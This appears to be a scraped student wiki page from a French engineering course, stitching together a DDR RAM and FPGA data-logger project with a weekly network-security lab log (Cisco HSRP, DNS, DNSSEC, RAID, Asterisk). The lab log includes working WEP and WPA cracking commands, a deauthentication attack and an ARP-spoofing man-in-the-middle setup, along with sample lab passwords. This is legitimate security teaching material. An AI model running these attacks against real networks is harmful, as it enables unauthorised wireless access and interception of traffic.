Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.

After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in "dual channel mode" to increase memory throughput even further.

Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3.

{| class="wikitable alternance centre"
|+ Comparatif des performances de DDR* RAM
|-
|
! scope="col" | DDR1 RAM
! scope="col" | DDR2 RAM
! scope="col" | DDR3 RAM
|-
! scope="row" | Nombre de pins
| 184
| 240
| 240
|-
! scope="row" | Vitesse d'horloge
| 100 MHz à 200 MHz
| 100 MHz à 266 MHz
| 100 MHz à 300 MHz
|-
! scope="row" | Taux maximum de tranfers
| 200 MT/s à 400 MT/s
| 400 MT/s à 1066 MT/s
| 800 MT/s à 2400 MT/s
|-
! scope="row" | Tension d'alimentation
| 2.5 V
| 1.8 V
| 1.5 V
|}

====IP pour SDRRAM====
[[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]
*Étude de l'IP pour l'adressage RAM
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:
**[http://opencores.org/project,sdr_ctrl opencore]
**Schéma fonctionnel:
 

Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.

====Etude des Memory Controller Blocks====
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]]
Il y a trois fonctions principales du point de vue de l'utilisateur:
*Lire le port (unidirectionnel)
*Écrire sur le port (unidirectionnel)
*Lire et écrire sur le port (bi directionnel)
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:
*Arbiter ou arbitre:
Il détermine quel port à la priorité pour accéder à la mémoire physique.
*Controller ou contrôleur:
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.
*Datapath
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.
*Physical Interface (PHY) ou interface physique:
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.
*Calibration Logic:
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.

===Proposition de solutions===
====Récuperation et affichage des données avec la pateforme ZYBO====
Voici une liste de matériel pour réaliser cette solution:
*Plateforme ZYBO
*Alimentation 5V 3A
*Carte microSD 4Gb (2Gb minimum)
*Cable RJ45
*Linux type Debian 
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs: 

=====Téléchargement et installation=====
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] 
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. 
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files 
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail 
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail 
=====Création d'une carte bootable sur ZYBO=====
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie "récupération" des données. Si vous utilisez ce fichier .zip, sautez directement au point . 
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr 
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design 
h°)Supprimer l'IP pour adresser les LEDS 
i°)On va créer un nouvel IP, tool->Create and Package IP...; next; name-> myLed; next 
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed.
*Interface type ->Lite
*Mode ->Slave
*data width ->32 bits
*number of registers ->4
*Name->S00_AXI 
k°)La fenêtre suivante permet de choisir l'option "edit IP" 
l°)Dans le projetct manager, ouvrir "myLed_V1..." et ajouter à la ligne 18 :
{| width=10%
|<pre>output wire [3:0] led, </pre>
|}
et à la ligne 400 :
{| width=10%
|<pre> assign led=slv_reg0[3:0];</pre>
|}

m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ». 
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED. 
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. 
p°) Dans le flow navigator, cliquer sur create bitstream. 
=====Préparation et utilisation de la carte µSD=====
q°)Dans notre dossier de travail, nous avons 4 fichiers :
*boot.bin
*devicetree.dtb
*uImage
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit
 
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted. 
s°)Copier les quatre fichiers sur la partition de 36Mo. 
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board. 

Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python. 
=====Récupération des données des GPIOs=====
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado : 

==Fichiers==
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]
*Empreinte sous Altium Designer pour le connecteur DDR3
 
 
 

==Shopping==
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&entryPoint=adirect&messageType=catProductDetail&showAddButton=true&productID=1008153012207LF datasheet])
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])
*Recuperation de DDR1 au service informatique de Polytech

==Sources==
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] 
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité] 
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] 
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)] 
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations] 
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] [https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]

Projets IMA5 2015/2016

Avinot : /* VLAN */

__TOC__

The main aim of this workshop is to realize a redundant network infrastructure to ensure maximum availability in case of a device or path failure. The architecture of the network is shown in the diagram given below.
[[Fichier:Network architecture.PNG |center| 750px]]

== Scope statement for the specific task ==
=== Task overview ===
We were assigned to configure one of the L3 switches to enable routing protocol(for <code>IPv4</code> and <code>IPv6</code>) and also to ensure layer 3 redundancy with <abbr title="Hot Standby Router Protocol">HSRP</abbr>.
=== Materials used for the specific task ===
*Layer-3 Switch : Cisco Catalyst 3560-E
*PC with serial connection

== Workshop progress ==
=== Week 1 (28/09/2015) ===
During this week, we colloborated with group 2 (Sandra & Elise) to create a list of VLANs and attribute IP address to each of them.
==== VLAN ====
Then, we configured the router to create the vlan database (vlan 11 - vlan 20).
{| width=10%
|<pre>
vlan 11
name vlan11
exit
</pre>
|}

==== 802.1Q encapsulation ====
To enable inter-VLAN communication, we had to configure a port (which is connected to switch) in trunk mode and enable encapsulation using the following commands :
{| width=10%
|<pre>
interface Gi1/1/2
switchport trunk encapsulation
switchport mode trunk
switchport trunk allowed vlan 1,11-20,110,130
</pre>
|}

==== HSRP (ipv4 + ipv6)====
To enable routing in the L3 switch:
{| width=10%
|<pre>
ip routing
ipv6 unicast-routing
</pre>
|}

Configuration of HSRP for ipv4 (for L3 redundancy) :
{| width=10%
|<pre>
interface vlan 11
ip address 172.20.11.253 255.255.255.0
standby version 2
standby 1 priority 100
standby 1 preempt
standby 1 timers 5 15
standby 1 ip 172.20.11.254
</pre>
|}

Configuration of HSRP for ipv6 :
{| width=10%
|<pre>
int vlan11
ipv6 enable
ipv6 address 2001:660:4401:60B1::/64 eui-64
ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900
ipv6 nd router-preference high
standby 101 ipv6 autoconfig
standby 101 priority 100
standby 101 preempt
standby 101 timers 5 15
</pre>
|}

==== OSPF ====
To receive and share the ipv4 routing table with the adjacent routers, we configured the OSPF protocole.
{| width=10%
|<pre>
router ospf 1
router-id 192.168.222.2
summary-address 172.20.0.0 255.255.0.0
summary-address 193.48.57.160 255.255.255.240
network 192.168.222.0 0.0.0.7 area 1
</pre>
|}

==== RIP-ng ====
On the other hand, we also configured RIP-ng so that the ipv6 routing table could be shared with adjacent routers.
{| width=10%
|<pre>
ipv6 router rip tpima5sc
redistribute connected metric 1
redistribute rip 1 metric 1
redistribute static metric 1
</pre>
|}

{| width=10%
|<pre>
int vlan130
ipv6 rip tpima5sc enable
</pre>
|}

conf files :
*[[Media:Conf_ospf_hsrp_ipv4.txt | Conf_ospf_hsrp_ipv4.txt]]
*[[Media:Conf_hsrp_ipv6.txt | Conf_hsrp_ipv6.txt]]

=== Week 2 (05/10/2015) ===
To create a Xen VM, we started with connecting to the cordouan machine (using ssh):
{| width=10%
|<pre>
ssh root@cordouan.insecserv.deule.net
</pre>
|}

Configuration of XEN VM
{| width=10%
|<pre>
xen-create-image --hostname=WESTMALLE --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.174 \
--nameserver=193.48.57.48 --dir=/usr/local/xen --genpass=0 --password=pasglop --dist=stable
</pre>
|}

To start the VM:
{| width=10%
|<pre>
xl create /etc/xen/WESTMALLE.cfg
</pre>
|}

We modified the size of the memory and network connection (bridge networking) for the VM :[[Fichier:WESTMALLEcfg.txt]] 

To connect to Xen VM using console mode, we used the command:
{| width=10%
|<pre>
xl console WESTMALLE
</pre>
|}

=== Week 3 (12/10/2015) ===
This week we started with installing few important packages in the Xen virtual server such as <code>apache2</code>, <code>fail2ban</code>, <code>bind9</code>, <code>dnsutils</code> and <code>openssh-server</code>. To secure the ssh server, we changed the configuration line (as shown below) of the file /etc/ssh/sshd_config:
{| width=10%
|<pre>
Port 619
PermitRootLogin no-password
</pre>
|}

To enable root login, we had to generate an asymmetric key (private and public) where the public key will be stored in the server while the user who wishes to connect to the server must have the private key. To generate the asymmetric key, we used the command:
{| width=10%
|<pre>
ssh-keygen -b 2048
</pre>
|}

Then, the public key had to be stored in a file called authorized_keys2 (for <code>SSHv2</code>).

After that, we continued to configure the DNS server. First of all, we bought a domain name from one of the domain name registrars, [https://www.gandi.net Gandi]. Since we wanted to host our own DNS server, we pointed the primary DNS field to our computer (ns1.troisiemesexe.lol). The secondary DNS field was filled with Gandi’s secondary <abbr title="Name Server">NS</abbr> server. It was time we configured our own DNS server.

/etc/hosts:
{| width=10%
|<pre>
127.0.0.1 localhost
193.48.57.161 westmalle.troisiemesexe.lol westmalle
193.48.57.161 ns1.troisiemesexe.lol ns1
</pre>
|}

/etc/host.conf:
{| width=10%
|<pre>
order hosts, bind
multi on
</pre>
|}

/etc/resolv.conf:
{| width=10%
|<pre>
domain troisiemesexe.lol
search troisiemesexe.lol
nameserver 127.0.0.1
nameserver 193.48.57.48
</pre>
|}

/etc/bind/db.troisiemesexe.lol:
{| width=10%
|<pre>
$TTL 604800
@ IN SOA ns1.troisiemesexe.lol. admin.troisiemesexe.lol. (
2015101705 ; Serial
900 ; Refresh
28800 ; Retry
604800 ; Expire
86400 ) ; Minimum

@ IN A 193.48.57.161
;@ IN AAAA ::1

@ IN NS ns1.troisiemesexe.lol.
@ IN NS ns6.gandi.net.

ns1 IN A 193.48.57.161
;ns1 IN AAAA :::1

westmalle IN A 193.48.57.161
arch IN A 193.48.57.174 ;arch -> router
www IN A 193.48.57.161
</pre>
|}

/etc/bind/named.conf.local:
{| width=10%
|<pre>
zone "troisiemesexe.lol" IN {
type master;
file "/etc/bind/db.troisiemesexe.lol";
allow-transfer {217.70.177.40;};
allow-query {any;};
notify yes;
};
</pre>
|}

And then, we configured the apache <code>VirtualHosts</code>. If the server receives an <code>HTTP</code> request on port 80, it will rewrite the URL to <code>HTTPS</code> on port 443.

/etc/apache2/sites-available/troisiemesexe.lol.conf:
{| width=10%
|<pre>
<VirtualHost *:80>
ServerName troisiemesexe.lol
ServerAlias www.troisiemesexe.lol *.troisiemesexe.lol
ServerAdmin root@troisiemesexe.lol
DocumentRoot /var/www/troisiemesexe.lol

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

RewriteEngine on
ReWriteCond %{HTTP_HOST} !^(westmalle|ns1) [NC]
ReWriteCond %{SERVER_PORT} !^443$
RewriteRule ^/(.*) https://%{HTTP_HOST}/$1 [NC,R=301,L]

RewriteRule ^(.*)$ https://www.troisiemesexe.lol$1 [R=301,L]
</VirtualHost>

<IfModule mod_ssl.c>
<VirtualHost *:443>
ServerName troisiemesexe.lol
ServerAlias www.troisiemesexe.lol
ServerAdmin root@troisiemesexe.lol
DocumentRoot /var/www/troisiemesexe.lol

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/troisiemesexe.lol.crt
SSLCertificateKeyFile /etc/ssl/private/troisiemesexe.lol.key
SSLCertificateChainFile /etc/ssl/certs/GandiStdSSLCA2.pem
SSLVerifyClient None
</VirtualHost>
</IfModule>

</pre>
|}

To enable the site, we used the command:
{| width=10%
|<pre>
a2ensite troisiemesexe.lol
</pre>
|}

===Week 4 (22/10/2015)===
Configuration of wireless network in <code>eeePC</code> by editing the the file in <code>/etc/network/interfaces</code>
{| width=10%
|<pre>
auto wlan0
iface wlan0 inet static
wireless-essid troubadour
wireless-mode managed
address 192.168.1.2
netmask 255.255.255.0
gateway 192.168.1.1
</pre>
|}

Since a MAC address filter was implemented, we had to change our eeePC's original MAC address to the one found in ACL of the Cisco Access Point as below:
{| width=10%
|<pre>
ifconfig wlan0 hw ether 00:15:AF:E6:ED:C4
</pre>
|}
===Week 5 (12/11/2015)===
====Cracking the WEP key ====

*We started airmon-ng in wlan0
<pre>
airmon-ng start wlan0
</pre>
*We killed the process that has been using the airmon-ng utility in wlan0:
<pre>
airmon-ng check kill
</pre>
*Then, we analyzed the visible networks in wlan0
<pre>
airodump-ng wlan0mon
</pre>
*Our target is cracotte01. And we'll be storing (all the packets to the destination of 00:23:5E:1E:05:40 ) in the file fromage.cap
<pre>
airodump-ng --essid cracotte01 --write fromage -c 7 --bssid 00:23:5E:1E:05:40 wlan0mon
</pre>
*While the output was being stored in the file, we opened a new terminal and launched another command to decode those packets and store them in a file called KEY.
<pre>
aircrack-ng -l KEY -s -f 15 fromage-01.cap
</pre>
*Result of the WEP crack:
<pre>
55555555555555555555555551
</pre>

===Week 6 (19/11/2015)===
====Cracking WPA key====
*First of all, we had to generate a dictionary to crack the WPA key. Aircrack-ng isn't capable of generating the dictionary. So, we used <code>crunch</code>, which is an utility used to generate list of keys using a certain pattern. We used crunch to generate list of keys of a minimum (and maximum) length of 8 characters . The result, stored in the file <code>dico.txt</code>, starts at 00000000 and ends at 999999999.
<pre>
crunch 8 8 0123456789 > dico.txt
</pre>
*To sniff the wireless network:
<pre>
airmon-ng start wlan0
airmon-ng check kill
airodump-ng wlan0mon #on sniffe tous les flux wifi
</pre>
*We were trying to crack the "cracotte01" network:
<pre>
airodump-ng --essid cracotte01 -c 12 --bssid 04:DA:D2:9C:50:50 -w dump wlan0mon
#-c : channel;
#-w : storage file;
</pre>
*Result:
<pre>
CH 12 ][ Elapsed: 54 s ][ 2015-11-19 11:35 ][ WPA handshake: 04:DA:D2:9C:50:50

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:50 -49 11 522 71 0 12 54e. WPA2 CCMP PSK cracotte01

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:50 00:0F:B5:92:22:68 -59 54e- 1e 0 49

</pre>

*And then, we used aireplay-ng utility to crack the key from the dump file:
<pre>
aireplay-ng --deauth=5 -a 04:DA:D2:9C:50:50 wlan0mon
</pre>
*Result:
<pre>
11:53:17 Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:50) on channel 12
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
11:53:17 Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
11:53:17 Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
11:53:18 Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
11:53:18 Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
11:53:19 Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
</pre>

*We used the dico.txt file (which is the dictionary) to decode the dump-01.cap file:
<pre>
aircrack-ng dump-01.cap -w dico.txt -l KEY
</pre>
Result: 
[[Fichier:Aircrack.PNG]]

=== Week 7 (26/11/2015) ===
==== FreeRadius + AP ====
To authenticate via PEAP-TLS, it's important to modify the default_eap_type to peap in the configuration <code>eap.conf</code> file:
{| width=10%
|<pre>
default_eap_type = peap
</pre>
|}

Then, users' list need to be added for Radius Authentication in the <code>users</code> file:
{| width=10%
|<pre>
magesh Cleartext-Password := "h3ll0"
Reply-Message = "Hello, %{User-Name}"
</pre>
|}

Now we had to add clients (both Access Points at 10.10.10.1 and 10.10.10.2) to the <code>clients.conf</code> file :
{| width=10%
|<pre>
client 10.10.10.1 {
secret = mys3cr3t
shortname = vlan_1_e304
}

client 10.10.10.2 {
secret = mys3cr3t2
shortname = vlan_1_e306
}
</pre>
|}
At last, it was time we configured both Access Points (10.10.10.1 and 10.10.10.2) to enable SSID diffusion
and Radius authentication
{| width=10%
|<pre>
aaa new-model
!
aaa group server radius radius_group_HnM
server name radius_westmalle
!
aaa authentication login eap_HnM group radius_group_HnM
!
dot11 ssid HnM
vlan 11
authentication open eap eap_HnM
authentication network-eap eap_HnM
authentication key-management wpa
mbssid guest-mode
!
interface Dot11Radio0
encryption vlan 11 mode ciphers aes-ccm tkip
ssid HnM
mbssid
!
interface Dot11Radio0.11
encapsulation dot1Q 11
bridge-group 11
!
interface GigabitEthernet0.11
encapsulation dot1Q 11
bridge-group 11
!
radius server radius_westmalle
address ipv4 193.48.57.161 auth-port 1812 acct-port 1813
key 7 11081D3313015C0E
!
</pre>
|}

To connect to the Acces Point with eeePC, these changes had to be made to the file <code>/etc/network/interfaces</code> :
{| width=10%
|<pre>
auto wlan0
iface wlan0
wpa-ssid HnM
wpa-key-mgmt WPA-EAP
wpa-identity magesh
wpa-password h3ll0
address 172.20.11.1
netmask 255.255.255.0
gateway 172.20.11.254
</pre>
|}

==== RAID5 ====
To enable hard disk redundancy (and fault-tolerance), we configured three logical volumes in the host machine :
{| width=10%
|<pre>
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-1
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-2
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-3
</pre>
|}

This logical volumes had to be included in the Xen configuration file <code>/etc/xen/WESTMALLE.cfg</code>:
{| width=10%
|<pre>
disk = [
'file:/usr/local/xen/domains/WESTMALLE/disk.img,xvda2,w',
'file:/usr/local/xen/domains/WESTMALLE/swap.img,xvda1,w',
'phy:/dev/virtual/ima5-westmalle-raid5-1,xvdb,w',
'phy:/dev/virtual/ima5-westmalle-raid5-2,xvdc,w',
'phy:/dev/virtual/ima5-westmalle-raid5-3,xvdd,w',
]
</pre>
|}

In the Xen virtual machine, we created RAID-5 volume /dev/md0 :
{| width=10%
|<pre>
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvd[bcd]
</pre>
|}

But, after a system restart /dev/md0 had been automatically renamed to /dev/md127. Thus, we had to create a ext4 filesystem based on md127 and not md0.
{| width=10%
|<pre>
mkfs.ext4 /dev/md127
</pre>
|}
To make sure the persistence of the mounted volume, we had to modify mdadm configuration file (/etc/mdadm/mdadm.conf) and file systems table.
{| width=10%
|<pre>
mdadm --detail --scan >> /etc/mdadm/mdadm.conf
</pre>
|}
And in <code>/etc/fstab</code> we added the following line :
{| width=10%
|<pre>
# <file system> <mount point> <type> <options> <dump> <pass>
/dev/md127 /media/raid_vol ext4 defaults 0 0
</pre>
|}

==== DNSSEC ====
TO enable DNSSEC, we modified the named.conf.options file as below :
{| width=10%
|<pre>
dnssec-enable yes;
</pre>
|}
Then, we generated a <abbr title="Key-Signing Key">KSK</abbr> and <abbr title="Zone-Signing Key">ZSK</abbr> file (and renamed them) which will be used to sign our zone.
{| width=10%
|<pre>
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE troisiemesexe.lol
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE troisiemesexe.lol
</pre>
|}

Then, the following lines were added to include the signed key in the DNS zone file <code>/etc/bind/db.troisiemesexe.lol</code> :
{| width=10%
|<pre>
$include /etc/bind/troisiemesexe.lol.dnssec/troisiemesexe.lol-ksk.key
$include /etc/bind/troisiemesexe.lol.dnssec/troisiemesexe.lol-zsk.key
</pre>
|}

And, the zone file was signed using the command :
{| width=10%
|<pre>
dnssec-signzone -o troisiemesexe.lol -k troisiemesexe.lol-ksk ../db.troisiemesexe.lol troisiemesexe.lol-zsk
</pre>
|}
To use the signed zone file instead of the unsigned one, we modified named.conf.local file :
{| width=10%
|<pre>
zone "troisiemesexe.lol" IN {
...
file "/etc/bind/db.troisiemesexe.lol.signed";
...
}
</pre>
|}
And then, we copied the ZSK and KSK key file to Gandi's DNSSEC section.

==== Asterisk ====
To reject unidentified calls, sip.conf had to be edited :
{| width=10%
|<pre>
[general]
allowguest=no
alwaysauthreject=yes
contactacl=local_ip_acl
</pre>
|}

The <code>contactacl</code> parameter is used to filter calls from certain IP address. We wanted to limit the calls between the local systems. So we added the ACL to permit only private IP addresses in the <code>/etc/asterisk/acl.conf</code> :
{| width=10%
|<pre>
[local_ip_acl]
deny=0.0.0.0/0.0.0.0
permit=10.0.0.0/255.0.0.0
permit=172.16.0.0/255.240.0.0
permit=192.168.0.0/255.255.0.0
</pre>
|}

The user configuration file needed some modification so that a SIP connection could be established. For that, we modified the file <code>/etc/asterisk/users.conf</code> and added few extensions (such as 101, 102.. which were attributed for certain username) :
{| width=10%
|<pre>
[general]
userbase = 100
hasvoicemail = yes
vmsecret = mys3cr3t
hassip = yes
hasiax = yes
hasmanager = no

callwaiting = yes
threewaycalling = yes
callwaitingcallerid = yes
transfer = yes
canpark = yes
cancallforward = yes
callreturn = yes
callgroup = 1
pickupgroup = 1

[template](!)
type=friend
host=dynamic
dtmfmode=rfc2833
context = tpima5

[101]
fullname = Magesh S
defaultuser = magesh
secret = s3cr3t

[102]
fullname = Hideo V
defaultuser = hideo
secret = s3cr3t
</pre>
|}

Configuration of extensions.conf file :
{| width=10%
|<pre>
[tpima5]
exten => _1XX,1,Dial(SIP/${EXTEN},10)
exten => _1XX,2,Hangup()
</pre>
|}
=== Week 8 (30/11/2015) ===
==== MITM ====
*To identify the router's IP address:
<pre>
ip route show
</pre>
Result:
<pre>
default via 172.26.79.254 dev eth0
</pre>
The route's virtual IP is 172.26.79.254
*To identify the target's IP:
<pre>
#dig zabeth04.insecure.deule.net
</pre>
Result:
<pre>
zabeth04.insecure.private.direct.deule.net. 3600 IN A 172.26.75.157
</pre>
Target's IP address is 172.26.75.157.
*Before sniffing the network, we had to authorize IP forwarding:
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>
*We opened 2 terminals:
First terminal:
<pre>
arpspoof -i eth0 -t 172.26.79.254 172.26.75.157
</pre>
Second terminal:
<pre>
arpspoof -i eth0 -t 172.26.75.157 172.26.79.254
</pre>

==== DHCP for vlan ====
On the other hand, we configured DHCP in the router so that clients (ex: mobile phone) which couldn't be configured with static IP, will be given IP addresses automatically.
<pre>
ip dhcp excluded-address 172.20.11.1 172.20.11.10

ip dhcp pool dhcp_pool_vlan11
network 172.20.11.0 255.255.255.0
default-router 172.20.11.254
dns-server 193.48.57.48 193.48.57.33
</pre>

Fichier:Tuto4.PNG

2016-02-16T16:09:21Z

Avinot :

P2 Data Logger

2016-02-16T15:47:28Z

Avinot : /* 3)Proposition de solutions et argumentaire */

P2 Data Logger

2016-02-16T15:47:18Z

Avinot : /* 2)Etude de la problématique */

P2 Data Logger

2016-02-16T15:47:06Z

Avinot : /* 1)Etude des plates-formes de programmation */